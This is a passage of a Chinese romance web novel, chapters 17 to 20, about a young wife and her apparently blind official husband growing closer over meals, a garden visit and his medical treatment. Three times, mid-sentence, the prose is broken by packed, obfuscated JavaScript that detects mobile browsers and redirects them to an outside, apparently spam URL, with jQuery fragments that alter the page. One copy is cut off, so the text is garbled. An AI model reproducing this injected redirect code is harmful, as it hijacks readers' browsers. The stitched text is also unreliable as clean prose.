眼纱下，晏枕溪垂眸看着眼前微凉的菜：“知道了。” 现在竟都不愿回府了吗。 “把这些菜都撤了吧。”晏枕溪起身离开。 “是。”侍从上前把菜都撤下。 看着桌上的一动未动的糖醋排骨、荔枝肉还有其他菜，侍从觉得有些可惜，和晏大人清淡的口味不同，这些偏甜口的菜都是夫人爱吃的。 之前每次和夫人用完膳后，晏大人都会比以往温和一些，他们这些下人也会没那么有压力。 虽然晏大人很大方，平时看上去也温温柔柔的，但总是给人一种不怒自威的感觉，下人们在他前面都不免有些战战兢兢。 今天晏大人的心情应该也不会好了。 侍从轻轻叹了口气，真希望夫人早点回来啊。 晏枕溪回到书房，手中的信件有些看不进去。 她和那两个人的关系真好啊。 晏枕溪心里有种说不出来的滋味，平日里在她们面前笑得那么开心就算了，如今竟然都留宿了。 罢了，不过留宿而已，反正姜知瑶迟早都是要回家的。 只是一个晚上而已，晏枕溪镇静地想到。 无端的，晏枕溪忽的又想到了那天他看见的，姜知瑶向纪婉清撒娇的场景。 池塘边的亭子里，姜知瑶扯着纪婉清的袖子软声说道：“姐姐，就让我再吃一块嘛。” 纪婉清不为所动，但晏枕溪在不远处听到看到后，只想把那盘芙蓉糕亲手端到姜知瑶的面前。 不止是这样想的，晏枕溪迈开步子，直到快走到了她们视野里时才知道，原是姜知瑶已经有些积食了却还贪嘴。 晏枕溪硬生生止住脚步，在原地恍神了一会，然后有些僵硬地转身离开了。 他如今一个人在有些冷清的书房里，又想起了那天姜知瑶撒娇时的语气和神态，姜知瑶在他面前向来是客气疏离的，那样的样子是晏枕溪从未见过的。 姜知瑶其实也并未做什么，只不过是软声说了一句话，未让纪婉清松口，却让无意窥见的晏枕溪念念不忘。 她们三人之间的关系如此之好，今夜留宿是不是她与另一人同塌而眠？ 想到这里，晏枕溪无意识地揉皱了手中的纸张。 明早，若是明早姜知瑶还没回来，他就去找她。 17. 花楼 姜知瑶第一次来花楼还是在两三年前，那时她们三人对于花楼都很好奇，是一次借口出府玩，她们便偷偷进了花楼。 之前她们对于花楼的印象还停留在那些闲谈和话本中，所以来的时候还特意乔装了一下，但在刚进花楼的时候就被认出来了。 “呀，是三个小丫头。”但是出乎意料的，老板并没有赶她们走，反而热情地招待了她们。 她们也才知道花楼和话本上的形容是有出入的。 这里不仅有姑娘，还有小倌，不仅有男顾客，女顾客平时也不少，当然大部分的人来这里都不会用自己的真名。 而且花楼也分种类，像这里是全京城最大的花楼，自然也不存在什么那些话本里所说的违反律法的事情，并没有想象中的那么乱。 姜知瑶她们每次来的时候都不会点小倌，但吃食是必点的，这花楼里的吃食竟比酒楼里的还要好吃。 她们来的次数已经不少了，此时轻车熟路的到了一个厢房，点了几名歌女舞女与饮食。 虽然花楼里好玩，但她们也并没有经常来，一是因为花楼的开销太大，二是也怕常来被人认出。 尽管来这花楼并不违反律法，但总归也不是什么光明正大的事，怕落人口舌。 姜知瑶她们在厢房里一般都是和点的姑娘们打打叶子牌，看看跳舞，玩玩其他游戏。 “夫人。”一道熟悉温柔的声音从门口传来。 嗯？肯定是自己听错了吧。 姜知瑶原本想抬头向门口望去，但身边姑娘正软声喊着：“小姐。” 姜知瑶刚抬起的一些视线，又被姑娘拉回，她微微低头咬住了姑娘手中的糕点。 “夫人。”又是那道声音，只不过这声呼唤比前一声语气要稍微幽怨上一些。 姜知瑶终于抬头向门口望去。 ！ 姜知瑶刚咬住的糕点掉落在地上，雪白的糕点滚了几圈沾染上些灰尘，滚到了晏枕溪的脚边。 晏枕溪透过薄薄的眼纱，可以很清楚的看见眼前的场景，甚至看到了那雪白糕点上小小的一圈牙印。 其实在一刻钟之前他就到门口了，他亲眼看着旁边的姑娘是怎么贴到姜知瑶的身上，又是怎么软声哄着姜知瑶吃糕点的。 他在门口足足站了有一刻钟的时间，但是姜知瑶竟然丝毫都没有察觉到他的到来。 此时姜知瑶水润润的眼睛瞪大了看着自己，晏枕溪没有再说话，只是站在原地不动。 姜知瑶有些手忙脚乱地站了起来拉开了与姑娘之间的距离，不明白自己为什么突然产生了些心虚感。 不对啊，他现在也看不见。 想到这里姜知瑶又故作镇定的坐了回去。 晏枕溪身侧的手攥的更紧了。 他现在只想把姜知瑶身边的那个姑娘给拉开。 “夫君？你怎么在这里？”姜知瑶的声音有几分很明显的心虚感。 此时整个厢房里都安静了下来。 一旁的纪婉清和程明珠也静静的看着门口的人。 晏枕溪刻意放缓语气，让自己说话尽量显得不那么像来捉彻夜未归的郎君的娘子一般：“昨夜你没有回来，我便想着今早来找你。” 只是没想到找到花楼里来了。 听到这里姜知瑶有些慌乱的解释道：“我是今早刚来的，我昨晚宿在明珠府上了。” “我知道。” 看着一旁有些局促的姜知瑶，旁边的程明珠听不下去了：“你这是什么语气和瑶瑶说话？” “你自己前天不还是单独去赴了楚玉的宴吗？你也没有告诉我们瑶瑶一声啊，况且我们今天又没有做什么。” 晏枕溪依旧面朝着姜知瑶温声说：“抱歉打扰了程小姐的雅兴，我只是来带我夫人回府的。” “夫人，现在和我一起回去吗？” 姜知瑶看着面前的晏枕溪，立马应下：“好。” 程明珠还想再说什么，被一旁的纪婉清拉住了手，她刚张起的嘴又闭上了，晏枕溪来带姜知瑶回去这事本就无可厚非。 走过一旁的姑娘时，姜知瑶握了明显有些被这气氛吓到的姑娘的手，将头上的一个发钗取下递给了姑娘以做安抚。 然后转头跟纪婉清和程明珠说道：“那今天我就先回去啦，你们继续玩吧，再见。” 看着面前只是有些心虚局促但并不害怕的姜知瑶，纪婉清笑了笑说道：“再见。” 在回府的马车上，姜知瑶和晏枕溪解释道：“我和她们去只是在楼上听听曲，看看舞蹈，并没有做什么其他。” “我知道。”晏枕溪说道。 “你要是介意的话，我以后都不会去了。”姜知瑶垂眸。 “我没有介意。”听着姜知瑶低落的声音，晏枕溪开口说道，“只是夫人你昨晚没有回府，今早又去了花楼。” “是府上有什么夫人不喜的吗？” 姜知瑶抬头看着面前语气有些低的晏枕溪，心里一阵发虚：“没有……” 一路无话，回到了府上。 姜知瑶走到了自己的寝室门口，推开门就要进去。 刚转身要关门的时候，结果发现晏枕溪也进来了。 “诶？”姜知瑶有些惊讶的看着晏枕溪，随后反应过来说道，“我把你送到书房吧。” “不用夫人，我想在你的房间待会儿，可以吗？” “当然。”姜知瑶点点头。 姜知瑶拉着晏枕溪的袖子在一旁的塌上坐了下来。 晏枕溪是第一次进到姜知瑶的寝室里。 和自己书房与寝室的清冷不同，姜知瑶的寝室显得格外温馨。 寝室里摆了许多东西，但是并不杂乱，塌上的小桌子上只摆了用草编的一束花。 姜知瑶倒了一杯茶放在了晏枕溪的前面。 晏枕溪回想起了刚刚程明珠说的赴宴的事，他开口问道：“夫人是介意我前晚去兵部侍郎楚大人的府上吗？” 姜知瑶想了一下才知道他是在说宴会的那件事，她立马摇了摇头：“不介意。” 看着晏枕溪明明带了眼纱且面无表情的脸，姜知瑶却感觉到她说完话后，晏枕溪更加面无表情了。 莫名的，姜知瑶又开口说：“……其实还是有点介意的。” 晏枕溪脸上重新带上些笑意：“我并不是去赴谁的宴，那天晚上我与楚大人有事商讨，并不知道当时府上有人在举办宴会。” “我知道了。”姜知瑶其实早就没觉得有什么了，但听晏枕溪和自己解释，心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906592|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是涌上些欢喜。 他和自己解释，是不是说…… 姜知瑶心里的小人猛然摇了摇头，要把脑中不切实际的想法甩出去。 晏枕溪继续柔声说着：“夫人，下次有什么事，都可以直接来问我的，我不希望我们两个之间有什么误会。” 边说他边伸手揉了揉姜知瑶的发顶，放下时还状若无意的轻抚过姜知瑶的脸颊和耳垂。 “好。”姜知瑶被哄的迷迷糊糊的点了点头。 直到回到书房的时候，晏枕溪的嘴边还噙着一抹微笑。 那只摸过姜知瑶的手掌虚虚握着拳。 脑海里又想起刚刚伸出手时，许是怕自己找不到，姜知瑶还特意把脑袋望前凑些的动作。 怎么会这么可爱啊。 晏枕溪眼底的笑意快要止不住，至于今日花楼之事，肯定只是因为姜知瑶误会了自己，才让旁人有机可乘罢了，与姜知瑶无关。 他其实也不清楚自己现在对姜知瑶是什么感情，若说是爱，那肯定也没有达到那种程度，但若说是不喜欢，那肯定也不是。 那是喜爱吧？就想有人喜爱兰花，有人喜爱狸奴一样，他现在喜爱姜知瑶。 晏枕溪觉得，与她结为夫妻也不是什么不好的事情，要不，就做一对真正的夫妻吧。 真正的夫妻是什么样子的？ - “要相互扶持，相互爱护。”许叔这样说道。 “相互扶持，相互爱护？”晏枕溪缓声复述了一遍，思忖了一会又问道，“那平时是怎么相处的？” 许叔：“首先，是要一起用膳的。” “那要是她不愿意来怎么办？”晏枕溪问道。 “那大人就亲自去请，夫人肯定会来的。”许叔很笃定地说道。 “我知道了，那接下来呢？” “其次还要同床共寝，这也是最重要的。”许叔认真地说道，“不过大人您和夫人之间还要慢慢来。” “一定要共寝吗？”晏枕溪皱眉问道。 他素来不喜有人长久地进入到自己的地方，尤其是像寝室那样私密的地方。 让姜知瑶可以随意进出书房都已经是晏枕溪最大的让步了。 虽然他不愿让姜知瑶与其他人同塌而眠，但他自己也不愿意与人共寝。 不过他从前也未想到过自己有天会心心念念着和一个人一起用膳。 “是的。”许叔点点头。 晏枕溪显然没有放在心上，随意又问道：“那其他的呢？” “其他的就是要多接触多相处。” “我知道了，你下去吧。” “是的大人。”许叔垂下头退下去了。 出了书房后，许叔轻叹了一口气，原本在听到大人问夫妻间要如何相处的时候，他还以为大人真的开窍了呢。 不过也是没想到，大人竟然也会有问他问题的时候。 他跟在晏枕溪身边已经很多年了，晏枕溪从小就是一副小大人的样子，从没见过有什么明确的喜好。 对谁都是一副看起来亲近却疏离的模样，许叔一度以为他就要这样清冷地过一辈子。 没想到现在对夫人如此特殊，不过虽然没有彻底开窍，但好歹也算是有些进展了。 18. 用膳 “夫人。”正午时分，门口响起了晏枕溪的声音，“今日可以一起用膳吗？” 姜知瑶打开了门，看着面前面如冠玉，身姿挺拔的晏枕溪，一时犹豫着没有开口。 “夫人？”语气中带了些疑惑，“是有什么不便吗？无妨，我……” “没事没事。”姜知瑶连忙说道，“一起吧。” 餐桌上，晏枕溪看着面前低头夹菜的姜知瑶，问道：“饭菜还可口吗？” 姜知瑶抬起些头，但眼神刚落在晏枕溪身上便又立马移开：“好吃的。” 不仅饭菜可口，身边的人看起来也很秀色可餐。 姜知瑶低头轻咬住筷子，不敢抬起头来一点。 昨晚睡觉的时候，不知为何就梦到了白天花楼里的场景，但不同的是，喂自己糕点的人赫然变成了晏枕溪。 晏枕溪赤裸着上身，脸上的眼纱消失了，转而系在了腰间，眼里柔情似水，一改向来温柔冷静的语气，软着声哄她：“小姐。” 身体还有意无意地贴着自己，简直和真正的晏枕溪大相径庭，但偏偏梦境里她还很是享受。 更奇怪的是，以前做完梦醒来后很快就忘的差不多了，但这次梦中的场景却越发清晰。 而且今天刚出门的时候她就看见了，和以往的穿着有些不同，晏枕溪今天带了腰封，很是清晰地勾勒出了他那劲瘦的腰肢，让刚看到的姜知瑶一时有些挪不开眼。 姜知瑶不由自主的又想起了那个梦境。 但再往上看到晏枕溪那副温柔的神情和系在脸上的白色眼纱，姜知瑶就觉得自己脑海里的想法简直就是在亵渎他。 姜知瑶认真地吃着饭，不敢抬头看一眼晏枕溪那昳丽俊秀的脸庞。 见姜知瑶吃的腮帮子微鼓，晏枕溪的眼神暗了暗，看来饭菜还是合胃口的，那为什么就是，不抬起头来看自己一眼呢？ 看见姜知瑶吃完放下碗筷，晏枕溪也将手中的筷子放下，语气正常地开口：“夫人，以后我们就一起用膳了，可好？” 晏枕溪也不想去问之前姜知瑶为什么躲着自己了，若是姜知瑶不想说，他就算问了也得不到真正的答案，还只会让姜知瑶犯难。 姜知瑶向来当面拒绝不了人，尤其是晏枕溪，点头应下：“好。” 而且她也想不出什么拒绝的理由，之前晏枕溪派人来，她还可以让南枝去拒绝，但这段时间下来，姜知瑶发现一直躲着晏枕溪也不是办法，总不能一直不见面。 更何况姜知瑶发现，不见的时候越久，等到再次见面的时候，自己越是忍不住。 晏枕溪没想到姜知瑶这么快就答应了，原先准备的说辞现在倒是派不上用场了。 就这样一起用膳了几天后，姜知瑶和晏枕溪的状态已经恢复到之前相处时的样子了。 姜知瑶已经看开了，既然不能主动躲开，那就只能尽量让自己心如止水了。 姜知瑶想了一个好方法，那就是，一直盯着晏枕溪看，说不定看多了脑海里就不会总是有那些旖旎的想法了。 晏枕溪觉得很奇怪，除了前几天姜知瑶的视线躲避外，这几天姜知瑶则一直盯着自己看。 尤其是用膳的时候，看一眼他再吃一口饭，简直是像，在拿自己下饭一样。 被这直勾勾的眼神盯着，晏枕溪难得有了些不自在的感觉，动作无意识的更加注意了起来，想开口提醒，但又转念想起自己现在的“眼盲”，只能硬生生地住口。 用膳时盯着晏枕溪看了一些时日后，姜知瑶不仅没有停下脑中的那些想法，反而胃口变好了，每顿饭比以前多吃了不少。 南枝看到后感叹地说道：“看来还是姑爷新找到厨师手艺好啊，我这就去讨教一下手艺。” 姜知瑶看着南枝离开的背影，嘴张开又合上了，她总不能说，是因为晏枕溪太下饭了吧。 姜知瑶捏着肚上新长出的肉，有些挫败，她现在是真的没有办法了。 算了，忍不住就忍不住了，反正自己只是在脑海里想，如果哪天真的情不自禁对晏枕溪做了什么的话，那、那就只能怪晏枕溪总是出现在她面前了。 姜知瑶自暴自弃地想着。 - 又一次姜知瑶出府回来后，用晚膳时，晏枕溪看似随意地问道：“夫人为何最近都不请人来府上玩了？” 姜知瑶咽下嘴里的饭菜，和晏枕溪说了上次在花园里看到晏枕溪的事情，隐去了那段时间自己总觉得有人在看自己的事。 这些天姜知瑶已经没有过那种被人注视的感觉了，于是姜知瑶愈发觉得那段时间不过是因为自己没休息好而产生的错觉。 “夫君，若是不便的话不要紧的，我和纪姐姐她们出去玩也是一样的。” “没有不便。”晏枕溪立即回到，随后沉默了一会开口，“你看到的那次应该只是我路过花园的时候。” “花园离书房很远的，不会吵到我。” 姜知瑶不疑有他，弯眼笑道：“那我下次就和纪姐姐她们到府上玩了。” “嗯。”晏枕溪点头应道。 用过膳后，姜知瑶正准备离开，转身时被晏枕溪叫住了：“夫人，要一起去散步吗？” “啊？”姜知瑶转头看向晏枕溪，晏枕溪只是温和地端坐在椅子上，姜知瑶犹豫了一会答应了下来，“好，刚好我去消消食。” “可能要麻烦下夫人了。”晏枕溪笑着说道，“就我们二人去可好？” “好。”看着晏枕溪温柔的笑和带着些笑意的话语和请求，姜知瑶立即答应下来。 姜知瑶知道晏枕溪其实不太喜欢旁人和他直接接触，所以每次晏枕溪都会尽量减少出府，迫不得已要出府走路时也是拿着一根拐杖，由侍从声音指引方向。 在府上他则不喜欢用拐杖，通常都是待在书房里，书房的家具很少，而且都是按照晏枕溪的习惯摆放的，寝室离他的书房很近，平时行动起来还算方便。 所以姜知瑶看着坐着的晏枕溪，一时有些为难，不知道等下怎么和晏枕溪一起出去。 晏枕溪没等姜知瑶想多久，接着说道：“我走路时牵着夫人的袖子就好，不想用拐杖。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912396|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完便把手微微举起，停留在半空中。 姜知瑶看到后立马走过去，晏枕溪察觉到她的靠近后，手往前抓住姜知瑶的小臂，另一只手撑着桌面站了起来。 随后手慢慢往下摸索，抓住了姜知瑶的衣袖，浅笑着说道：“夫人，我们走吧。” 姜知瑶有些呆呆地说：“好。” 刚刚被晏枕溪细细抚过的小臂还留有些酥酥麻麻的感觉，姜知瑶虽然嘴上应下了，但人还站在原地没有动作。 直到袖口被人轻轻扯了下，姜知瑶才回过神来。 “那我们现在要出门了。”姜知瑶一时喉咙有些干涩，动作有些僵硬地走出了房间。 “好。”晏枕溪点头，顺从地牵着姜知瑶的袖子，跟着姜知瑶的动作走了起来。 姜知瑶出了门后，侧头看着乖乖跟在自己身后的晏枕溪，感受到袖口细碎的拉扯感，心里有种说不出来的感觉。 很痒，还有些毛茸茸的，让她有点想不管不顾地转过去亲亲晏枕溪。 姜知瑶努力止住脑中的想法，咽了两下口水，缓解了些喉咙中的干涩感。 她扭回头，认真地目视前方，尽量让自己看上去没有一丝异样，但同手同脚的动作出卖了她。 因为没有再扭头看晏枕溪，于是她没有发现，原本看上去温顺无比的人突然富有侵略感了起来，原本只是扯着袖子边缘的手，正在慢慢地往里靠拢。 宽大修长的手指沿着袖子的边缘一点点攥着凑过去，啊，不小心碰到了。 手碰到后又立马离开，这种若即若离的感觉让姜知瑶红着脸，心也越发痒了起来。 直到现在也没发现自己还在同手同脚地走着路。 晏枕溪隔着眼纱看着，嘴边有止不住的笑意。 好可爱，真的好可爱啊。 想对着她的脸蛋啃一口，等咬疼了她肯定会泪汪汪地看着自己，这个时候再轻轻嘬一口，她肯定又会瞪大了眼睛。 以前怎么就没发现呢，有这么可爱的一个人，吃起饭来可爱，说起话来可爱，就连走起路来也甚是可爱。 这段时间晏枕溪的胃口很好，看到姜知瑶喜欢所以多夹了几筷的菜时，他都会假装不知道地让侍从帮他夹同一道菜。 姜知瑶其实有些护食，每当这时晏枕溪都可以看见她脸上稍微的不舍，看到后晏枕溪就觉得这道菜的味道确实不错。 已经天天在一起用膳了，晏枕溪想起了许叔之前所说的，同床共寝。 晏枕溪突然就一点都不抗拒了，不知道她睡觉的时候会是什么样子，反正肯定也很可爱。 晏枕溪发现自己对姜知瑶的求知欲越来越浓厚。 想知道她平时生活里的习惯，想知道她平时的喜好，喜欢什么，又厌恶什么。 想时时刻刻和她待在一起，每次都会期待她下一句会说什么话。 想看她因为自己脸红，又想知道她为什么脸红，那个时候心里又在想些什么。 探索她，这是晏枕溪从所未有过的强烈欲望，也是比掌握权势还要让他上瘾的事情。 19. 花园 姜知瑶走了一会后，才发现自己竟然同手同脚了起来，她立马尴尬地调整好，然后扭头看了眼晏枕溪，看到他脸上的眼纱时又放下心来。 还好刚刚自己走路时奇怪的样子不会被人看见。 不知不觉，姜知瑶带着晏枕溪走到了花园里。 “欸！”不知道看到了什么，姜知瑶的语气变得十分惊喜。 “昙花开了！” 刚一进到花园，姜知瑶便看到了被淡淡月光笼罩着的绽开的昙花。 她其实前些时间就看到有花苞了，但后面陆陆续续来花园了好多次，花苞依旧是闭合的状态。 往花园里走，姜知瑶也是抱了一丝期待的，所以进来的第一眼她就望向了昙花在的地方，没想到真的开了。 姜知瑶顾不上想其他的，很是兴奋地反手握住晏枕溪，又说了一遍：“昙花开了诶！” 说完便拉着晏枕溪的手一起克制又略显急切地走到了昙花的面前。 “真的好好看啊。”姜知瑶蹲了下来，看着面前的昙花说道，十多朵昙花一齐开放，空中弥漫着淡淡的芬芳。 月光笼罩下，洁白的花朵更显高贵神秘。 姜知瑶刚夸赞完，就想到了晏枕溪的眼睛，她转头看向一旁的晏枕溪，晏枕溪刚刚随着姜知瑶的动作也蹲了下来，月白色的衣摆沾染上些许泥土，姜知瑶还拉着他的手。 面上依旧是淡淡的笑容，姜知瑶能感觉到他现在的心情并不坏。 月光下，姜知瑶看着晏枕溪的脸庞，没有松开手，鬼使神差地问了一句：“你想看看昙花吗？” “想。”晏枕溪回答的很快。 姜知瑶牵起他的手，带着他的手从花托下弯曲的茎处开始缓慢抚摸着盛开的昙花。 “……现在这里是它的花托……这里是它的花瓣，就和你平时喜欢穿的衣裳的颜色一样……这里是它的花蕊，最上面是淡黄色的，比桂花的颜色还要淡一点……” 在指尖刚刚触碰到花朵的时候，晏枕溪就闭上了眼睛，听着姜知瑶的描述和手下的触觉，他在脑海里重新勾勒出昙花的样子。 “听说看到昙花开的人会有好运，现在我们两个人都有好运了。” 听着姜知瑶带着笑意的语气，晏枕溪的心好像柔软了一瞬，他睁开眼，笑着回应：“嗯，昙花真的很美。” 花前，两个人好像形成了一个私密的空间，彼此之间的距离很近，天上是皎洁明亮的月亮，耳边有隐隐的虫鸣，晏枕溪可以闻到昙花的芬芳，以及姜知瑶身上的馨香。 隔着眼纱，晏枕溪可以肆无忌惮地看着现在温柔放松的姜知瑶，她离自己很近，笑眼微弯，就像天上的月牙一样。 晏枕溪突然就觉得，在这一刻，整个世间都变得无比美好。 姜知瑶摘下几朵开的最好看的昙花，递给晏枕溪：“祝你今夜好梦。” 又在昙花前站了一会后，姜知瑶带着晏枕溪去了花园的其他地方转转。 晏枕溪一只手抱着一捧花，另一只手从拉着袖子变成了牵手，但许是今晚月色太好，两个人都没有发现这件事。 第二天清晨。 “不用换掉床头的花。”晏枕溪起床时说道。 “好的大人。”侍从原本要拿起花瓶的手放下，退出了房间。 晏枕溪看着瓶中明明已经枯萎的花朵，嘴角却微微上扬。 - 姜知瑶觉得那晚过后，她和晏枕溪之间的距离好像更近了一些，平日里相处时的谈笑也多了些。 对于这种变化，姜知瑶有些欣喜，但更多的则是忐忑不安。 姜知瑶不明白他们现在之间究竟算是什么关系，说是表面夫妻，但好像又不是，至于说是真正的夫妻，姜知瑶不敢想。 她觉得更像是朋友，想清楚后，姜知瑶不再忐忑，和晏枕溪的相处也更自然了起来。 除了姜知瑶对晏枕溪偶尔升起的一些奇怪的念头外。 姜知瑶在晏枕溪的书房里待的时间越来越长了。 她爱看的书，平时刺绣要用的东西，还有常用的茶杯和踏上的坐垫，都一点点地被搬到了晏枕溪的书房里。 晏枕溪觉得和姜知瑶的进展很好，非常循序渐进，看着姜知瑶在自己面前露出真实的笑容，晏枕溪很是满足。 晚膳过后，书房里。 晏枕溪拿起一旁的竹简，用手细细摸着上面刻下的字。 自从他眼睛不好了后，书房里多了许多刻字的竹简，晏枕溪可以通过用手触碰认得上面的内容。 姜知瑶正在一旁的塌上刺绣，看到晏枕溪慢慢地摸着竹简后，斟酌再三还是开口：“夫君，要不我来读给你听吧？” “好啊。”晏枕溪把手中的竹简放下。 姜知瑶走过去，拿起竹简后就要开口念的时候，晏枕溪说话了：“抱歉夫人，之前在书房的那次，是我的语气和态度都太不好了。” “我喜欢听你给我念书的。” 姜知瑶抬头看他，知道他是在说还没分府前在书房发生的事。 “没关系。”姜知瑶想了想问道，“那你还要糕点吗？” “我想要的。”晏枕溪说完后又加了一句，“想要夫人亲手做的。” “好，我明天做。”姜知瑶笑了笑，开始念起了手中的竹简。 灯盏将姜知瑶低头念书的身影映照在一旁的墙壁上，一室温馨。 晏枕溪手托在下巴上，面朝姜知瑶的方向，看上去像是无比认真地听着姜知瑶念书，实则目不转睛地望着姜知瑶。 第一次听姜知瑶念书的时候，他只觉得姜知瑶念书时的声音语调还不错，现在则一直盯着姜知瑶看，姜知瑶念的内容一个字都没听进去。 以前怎么就没发现呢？姜知瑶念书的样子也这么可爱。 认真的样子很可爱，卷起些竹简的动作很可爱，停下来喝水润唇的样子更是可爱。 晏枕溪简直无法理解之前那个对姜知瑶说重话的自己。 还什么“我喜欢清净”，就连姜知瑶亲手做的糕点都没尝上一口。 不过还好，以后他们还有很长的时间。 晏枕溪就这样一直看着姜知瑶，直到她的声音停下来有好一会了，晏枕溪才反应过来：“夫人。” “夫君。”姜知瑶卷起竹简，“念完了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918601|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢夫人了。” “没事，夫君要是后面还需要念书，可以随时叫我的。”姜知瑶放好竹简后说道，“今晚我就先回去了。” 不想和她分开。 让她留下来。 留在自己身边。 过了几秒晏枕溪低声说道：“那明日再见，夫人。” “嗯，明日见。” 次日下午。 姜知瑶敲了敲晏枕溪的书房门：“夫君，我进来了。” 手里端着一盘才做好没多久的糕点。 “夫人。”晏枕溪放下手里刚刚打开的竹简。 姜知瑶将糕点放在了晏枕溪的手边：“这是我做的枣泥山药糕。” 晏枕溪拿起一块，放在嘴边咬了一口后说道：“很好吃。” 和自己想的一样，软糯香甜，不对，比想的还要再可口一些。 “夫君喜欢就好。”姜知瑶眼角微弯。 姜知瑶留在了晏枕溪的书房里看书，晏枕溪这里有许多书籍，有些甚至是外面找不到了的，姜知瑶时常在这里挑自己感兴趣的看。 一本看完后，姜知瑶合上，看到面前的晏枕溪，没忍住笑了出来：“夫君，有碎屑沾在脸上了。” “啊。”晏枕溪抬手摸了摸嘴角，“现在还有吗？” 姜知瑶看着晏枕溪始终没有摸到，笑着过去：“我帮你吧。” 不知为何，原本晏枕溪常放在手边的手帕现在并不在桌上，姜知瑶只好拿出了自己常用的手帕，弯腰帮晏枕溪擦去碎屑。 姜知瑶的指尖隔着手帕碰到晏枕溪的嘴唇时，才发觉这个动作实在太暧昧了。 她白皙的脸颊染上红晕，加快动作把碎屑拂去，就当她要把手收回的时候，晏枕溪握住了她的手腕。 晏枕溪抬起头问道：“夫人，我现在脸上还有吗？” 随着他抬头的动作，柔软的嘴唇轻轻拂过姜知瑶没被手帕裹住的手背。 姜知瑶一时僵住，看着面前俊美的脸庞，有些结巴地回他：“没、没了。” “那就好。”晏枕溪笑着从手腕处往上整个包裹住姜知瑶的手掌，然后拿走了姜知瑶的手帕。 “抱歉弄脏了夫人的手帕，给我吧，到时候我让人洗洗。” 姜知瑶有些怅然若失地收回手，直起腰：“没事的，我自己让人洗洗就好了。” 想要回那个手帕。 晏枕溪没有把手帕还给姜知瑶，而是慢条斯理地收进了袖子里：“我到时候还给夫人。” “好吧。” 等姜知瑶离开后，晏枕溪从袖中拿出那块手帕，仔细看了看上面绣着的精致图案，低头闻到了上面的馨香。 真的好可爱啊，好想亲亲她。 刚刚在姜知瑶凑近的时候，晏枕溪的手一直攥着椅子的边角，不然怕是当时就亲上去了。 脸红的样子真是可爱啊。 每次她脸红的时候眼睛都会变得更水润一些，想亲亲她的眼睛。 还想亲亲鼻子，亲亲脸颊，亲亲嘴唇，亲亲下巴。 究竟什么时候才能亲到呢？要是自己主动的话，她肯定会被吓到的吧。 20. 按摩 下午姜知瑶正和晏枕溪待在书房里的时候，侍从进来禀报，太医院的人已经到门口了。 姜知瑶反应过来，今天是太医院的人来的日子。 虽然说晏枕溪已经没有了什么痊愈的可能，但圣上仁慈，每个月都会派太医院的人前来，希望能有治疗的可能。 姜知瑶起身：“夫君，那我先出去了。” “没事的。”晏枕溪温声说道，“你想留下来看看吗？” 姜知瑶犹豫了几秒回应：“想。” “那就留下来。” 没过多久，太医院的人就到了。 “晏大人好，姜夫人好。”说话的是为首的一名身着太医服，头发胡子花白，气质稳重的男子。 “这位是李太医。”晏枕溪和姜知瑶介绍道。 “李太医好。” 李太医点头笑着回应姜知瑶：“这还是我第一次在府上看到夫人。” 姜知瑶微微低了点头，太医时常来看晏枕溪，她这个夫人却还是第一次在，好似她一点都不关心晏枕溪一样。 姜知瑶开口说道：“我今日在一旁，有什么需要帮忙的太医告诉我就行。” “有劳夫人了。” 李太医先是坐下来，给晏枕溪把了个脉，然后问道：“大人的身体不错，近来心情很好？” 晏枕溪笑着回应：“是。” “那现在开始针灸了。”身后的人递上来了一个小盒子，李太医从中拿出了一套针灸要用的各种大小的针。 随后熟练地在晏枕溪的脑袋上开始了针灸。 姜知瑶还是第一次现场看到针灸，看见那长又细的针扎进晏枕溪的脑袋，不由地有些心惊胆战。 没过多久，李太医将针取了下来，收针的时候一边问晏枕溪道：“这些天头还疼吗？” 晏枕溪回道：“好点了，但还是有一些，时不时地会疼。” 姜知瑶听到后有些惊讶，之前姜知瑶和晏枕溪不怎么待在一起，但这些天，两人也不说是朝夕相处，但相处在一起的时间也很久了，可她对于晏枕溪会时不时头疼的这件事一点都不知情。 这肯定是伤到脑袋的后遗症，姜知瑶有些心疼地想。 “李太医，有什么可以缓解的方法吗？”姜知瑶语气稍显急切地问道。 李太医转向姜知瑶说道：“可以按摩缓解。” 随后李太医给晏枕溪按摩了一遍，时不时和姜知瑶说要点，姜知瑶在旁边认真地学着。 等李太医走后，姜知瑶在晏枕溪旁边轻声说：“夫君，平时怎么没见你说过头疼啊？下次头疼就和我说，我来帮你按摩。” 晏枕溪看着姜知瑶眼底隐隐的心疼和话语中的关心，心又变得软乎乎的。 其实他这个头疼是老毛病了，他平时就失眠，再加上思虑过多，没休息好所致。 晏枕溪没有拒绝，笑着低声说道：“好，那以后就靠夫人了。” 